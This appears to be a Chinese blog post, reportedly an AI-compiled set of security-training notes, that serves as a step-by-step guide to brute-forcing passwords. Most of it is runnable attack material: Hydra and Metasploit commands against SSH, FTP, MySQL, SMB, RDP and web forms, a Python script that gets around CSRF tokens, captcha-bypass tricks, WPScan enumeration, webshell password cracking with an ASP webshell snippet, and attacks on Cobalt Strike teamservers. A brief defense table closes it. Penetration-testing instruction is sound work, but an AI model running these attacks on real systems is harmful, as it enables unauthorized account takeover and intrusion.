7_渗透测试穷举完全指南

渗透测试穷举(暴力破解)完全指南

目录

  1. 穷举概述
  2. 穷举常见服务与端口
  3. Web后台密码穷举(BurpSuite基础篇)
  4. WebShell后门密码穷举
  5. 带Token防御的后台穷举(BurpSuite高级篇)
    • 5.1 宏(Macro)自动获取Token
    • 5.2 Python脚本绕过Token
  6. 带验证码的后台穷举及绕过技巧
    • 6.1 Cookie缺失绕过验证码
    • 6.2 验证码未销毁复用
    • 6.3 验证码可识别(OCR)穷举
  7. 特定Web应用穷举
    • 7.1 phpMyAdmin密码穷举
    • 7.2 WordPress用户密码穷举(WPScan)
    • 7.3 Apache Tomcat管理后台穷举(MSF模块)
  8. 端口服务穷举(Hydra工具)
    • 8.1 Hydra常用参数说明
    • 8.2 SSH服务穷举
    • 8.3 FTP服务穷举
    • 8.4 MySQL服务穷举
    • 8.5 SMB服务穷举
    • 8.6 HTTP/HTTPS表单穷举
    • 8.7 其他服务(POP3、RDP、Telnet、IMAP等)
  9. 图形化穷举工具
    • 9.1 xHydra
    • 9.2 御剑RDP爆破工具
    • 9.3 超级弱口令工具
  10. Metasploit穷举模块
  11. Wfuzz多线程Web穷举
  12. 邮箱密码穷举
  13. CobaltStrike TeamServer口令暴力破解
  14. 穷举防御建议

1. 穷举概述

穷举(暴力破解) 是指通过枚举所有可能的密码组合,尝试登录目标服务,从而获取合法凭证的攻击方式。

  • 弱口令:如 123456adminpassword 等,极易被穷举。
  • 中度/强度口令:包含大小写、数字、特殊字符,穷举难度增大。
  • 社工字典:根据用户生日、姓名、手机号等生成定制字典,提高成功率。

穷举对象包括:Web后台、WebShell、数据库、FTP、SSH、邮件、远程桌面、中间件管理后台等。


2. 穷举常见服务与端口

服务 默认端口
Web(HTTP) 80
HTTPS 443
FTP 21
SSH 22
Telnet 23
SMTP 25
DNS 53
POP3 110
IMAP 143
SMB 445
MySQL 3306
MSSQL 1433
PostgreSQL 5432
Redis 6379
Rsync 873
Tomcat 8080
RDP(远程桌面) 3389
CobaltStrike TeamServer 50050

3. Web后台密码穷举(BurpSuite基础篇)

适用场景:登录表单无验证码、无Token等动态防护。

步骤

  1. 设置代理:浏览器配置代理到 BurpSuite(127.0.0.1:8080)。
  2. 抓取登录请求:提交登录,截获POST/GET数据包。
  3. 发送到 Intruder
    • 将密码参数值设为变量(§)。
    • Payloads 选项卡加载密码字典。
  4. 启动攻击
    • 观察 Status(如302表示重定向成功)或 Length(响应长度差异)。
    • 通常正确密码返回的响应长度或状态码与错误不同。

4. WebShell后门密码穷举

场景:已上传或发现WebShell(如一句话木马),需破解其连接密码。

  • 使用 BurpSuite 抓取访问 WebShell 的请求(如 cmd 参数)。
  • 将密码参数设为变量,加载字典进行穷举。
  • 根据响应内容(如 password right)判断正确密码。

示例(ASP一句话木马):

execute("response.clear:response.write("password right"):response.end")

当返回包含 password right 时,表示密码正确。

专用工具cheetah.py(支持asp/php/aspx/jsp)

python cheetah.py -u http://target.com/shell.php -r post -n 1000 -v -p pwd.list

5. 带Token防御的后台穷举(BurpSuite高级篇)

问题:登录表单包含隐藏的 user_token(CSRF令牌),每次刷新变化,直接穷举会因Token无效而失败。

5.1 宏(Macro)自动获取Token

原理:在每次请求前,先访问登录页获取最新Token,并自动替换到请求中。

BurpSuite配置步骤

  1. Project options → Sessions → Session Handling Rules → 添加规则。
  2. Add → 选择 Run a macro
  3. 定义 Macro
    • 选择获取登录页的GET请求。
    • 在响应中定位Token值(如 user_token),使用 Add 自定义参数位置(正则匹配)。
    • 指定参数名(必须与提交时的字段名一致)。
  4. Scope 中设置规则生效的URL及工具(Intruder)。
  5. 配置完成后,Intruder 的每个请求都会先执行宏,自动更新Token。

5.2 Python脚本绕过Token

也可编写脚本,每次请求前请求登录页,正则提取Token,再携带Token提交密码。

import requests
import re

url = "http://target.com/login.php"
def login(password):
    session = requests.session()
    req = session.get(url)
    token = re.search(r'[a-z0-9]{32}', req.text).group(0)
    data = {"username":"admin","password":password,"user_token":token,"Login":"Login"}
    resp = session.post(url, data=data, allow_redirects=True)
    return resp.text

with open('passwords.txt') as f:
    for pwd in f:
        pwd = pwd.strip()
        if 'success_keyword' in login(pwd):
            print(f'Found: {pwd}')
            break

6. 带验证码的后台穷举及绕过技巧

6.1 Cookie缺失绕过验证码

场景:某些验证码逻辑仅在存在会话Cookie时验证,删除Cookie后不再校验。

操作:抓包后删除Cookie头,继续穷举密码即可。

6.2 验证码未销毁复用

场景:登录失败后验证码未刷新(仍可使用同一验证码)。

  • 先获取一个有效验证码,填写固定值。
  • 在Burp中锁定验证码参数,只爆破密码。

6.3 验证码可识别(OCR)穷举

场景:验证码干扰少,可被OCR识别。

  • 使用工具如 PKAV HTTP FuzzerCaptcha-Killer 插件。
  • 配置验证码识别接口(如Tesseract或第三方打码平台)。
  • 设置验证码参数自动识别替换,同时爆破密码。

7. 特定Web应用穷举

7.1 phpMyAdmin密码穷举

  • 抓取phpMyAdmin登录请求。
  • 将密码设为变量,字典爆破。
  • 观察响应(如跳转或返回内容)判断成功。

7.2 WordPress用户密码穷举(WPScan)

工具:WPScan(需注册API Token)。

  1. 枚举用户
    wpscan --url http://target.com -e u --api-token YOUR_TOKEN
    
  2. 爆破指定用户
    wpscan --url http://target.com -U moonsec -P /path/to/passwords.txt
    

也可通过 http://target.com/wp-json/wp/v2/users 直接获取用户列表。

7.3 Apache Tomcat管理后台穷举(MSF模块)

使用 Metasploit 模块:

use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS target_ip
set RPORT 8081
set PASSWORD_FILE /path/to/passwords.txt
run

8. 端口服务穷举(Hydra工具)

Hydra 支持数十种协议(ftp, ssh, mysql, smb, rdp, pop3, http-post-form 等)。

8.1 常用参数

参数 说明
-l user 单个用户名
-L user.txt 用户字典
-p pass 单个密码
-P pass.txt 密码字典
-C file 冒号分隔的 user:pass 文件
-t 16 线程数
-vV 显示详细过程
-f 找到第一对后停止
-s port 指定端口
-o outfile 输出结果

8.2 SSH穷举

hydra -L users.txt -P passwords.txt -t 4 -vV -f ssh://192.168.1.100
hydra -l root -P top100.txt 192.168.1.100 ssh -vV -f

8.3 FTP穷举

hydra -l admin -P passlist.txt ftp://192.168.1.100 -vV -f

8.4 MySQL穷举

hydra -l root -P passwords.txt -s 3306 mysql://192.168.1.100 -vV

8.5 SMB穷举

hydra -l administrator -P pass.txt 192.168.1.100 smb -vV -f

8.6 HTTP POST表单穷举

hydra -l admin -P pass.txt 192.168.1.100 http-post-form "/login.php:user=^USER^&pass=^PASS^:Login failed"

^USER^^PASS^ 为占位符,后面是失败标志字符串。

8.7 其他服务

  • POP3:hydra -L users.txt -P pass.txt pop3://target -vV
  • RDP:hydra -l administrator -P pass.txt rdp://target -vV
  • Telnet:hydra -l root -P pass.txt telnet://target -vV
  • IMAP:hydra -L users.txt -p secret imap://target

9. 图形化穷举工具

9.1 xHydra

  • 终端输入 xhydra 启动。
  • 选择目标、协议、用户/密码字典、线程等,可视化操作。

9.2 御剑RDP爆破工具

  • 专用于远程桌面(RDP)密码爆破。
  • 配置IP列表、用户名、密码字典,启动爆破。

9.3 超级弱口令工具

  • 支持多种常见服务(FTP、MySQL、MSSQL、RDP、SSH等)。
  • 图形界面,简单易用。

10. Metasploit穷举模块

MSF 提供了大量登录扫描模块,示例:

模块 服务
auxiliary/scanner/ftp/ftp_login FTP
auxiliary/scanner/ssh/ssh_login SSH
auxiliary/scanner/telnet/telnet_login Telnet
auxiliary/scanner/smb/smb_login SMB
auxiliary/scanner/mysql/mysql_login MySQL
auxiliary/scanner/mssql/mssql_login MSSQL
auxiliary/scanner/postgres/postgres_login PostgreSQL
auxiliary/scanner/vnc/vnc_login VNC
auxiliary/scanner/http/tomcat_mgr_login Tomcat

使用示例(SSH):

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > set RHOSTS 192.168.1.100
msf6 > set USERNAME root
msf6 > set PASS_FILE /path/to/passwords.txt
msf6 > set STOP_ON_SUCCESS true
msf6 > run

11. Wfuzz多线程Web穷举

Wfuzz 是强大的Web暴力破解工具,支持多参数、字典、过滤。

基本用法

# 爆破密码参数,过滤响应状态码302和长度1549
wfuzz -c -z file,passwords.txt --sc 302 --hh 1549 -u "http://target.com/login.php" -d "user=admin&pw=FUZZ"
  • -z file,字典 指定载荷
  • --sc 显示指定状态码
  • --hc 隐藏指定状态码
  • --hh 隐藏指定响应长度

12. 邮箱密码穷举

12.1 企业自建邮服

  • 使用 Mail Cracker 等工具,针对 POP3/IMAP 端口爆破。
  • 注意并发限制,可降低线程数。

12.2 公共邮箱(163、QQ等)

  • 并发严格限制,通常需配合社工字典小规模尝试。
  • 可使用自定义脚本,单线程低频率枚举。

13. CobaltStrike TeamServer口令暴力破解

Cobalt Strike 默认端口 50050,口令若设置简单,可被爆破导致控制权丢失。

使用 csbuster.py(Python3):

python3 csbuster.py <TeamServer_IP> /path/to/passwords.txt -t 20
  • 工具通过SSL握手特征判断密码正确性。
  • 成功后输出密码。

14. 穷举防御建议

防御手段 说明
强密码策略 要求长度≥8,含大小写、数字、特殊字符
登录失败锁定 连续失败N次后锁定账户/IP一段时间
验证码 使用复杂验证码(干扰多,不易OCR),且每次失败后刷新
Token机制 使用CSRF Token,每次请求校验
双因素认证(2FA) 增加动态口令或短信验证
限制请求频率 同一IP单位时间限制请求次数
监控告警 对异常大量失败请求进行实时告警
使用WAF 拦截高频请求和恶意IP

注意本笔记是源于暗月安全培训 https://edu.moonsec.com 的ai整合版

posted @ 2026-07-07 11:26  新手打怪兽  阅读(4)  评论(0)    收藏  举报